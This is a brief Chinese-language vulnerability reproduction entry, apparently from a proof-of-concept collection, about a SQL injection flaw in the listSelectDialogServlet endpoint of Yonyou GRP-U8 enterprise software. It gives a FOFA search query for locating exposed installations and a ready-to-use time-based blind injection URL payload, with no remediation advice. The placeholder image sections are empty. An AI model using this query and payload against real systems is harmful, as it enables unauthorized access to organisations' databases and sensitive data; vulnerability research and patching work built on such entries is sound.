Y16-1用友-GRP-U8-SQL

漏洞描述：

用友GRP-U8是用友软件推出的一款企业级管理软件套件，旨在帮助企业实现全面的数字化管理和业务优化。用友GRP-U8 listSelectDialogServlet 接口对用户传入的参数未进行有效的过滤，直接拼接到SQL查询语句中，导致SQL注入漏洞。攻击者通过该漏洞可以获取数据库敏感信息。

网站图片：

网络测绘：

fofa语法：

- fofaapp="用友-GRP-U8"

漏洞复现：

payload：

```
http://xxx.xxx.xxx.xx:xx/listSelectDialogServlet?slType=slFZX&slCdtn=1=2;WAITFOR DELAY '0:0:5'--
```

效果图: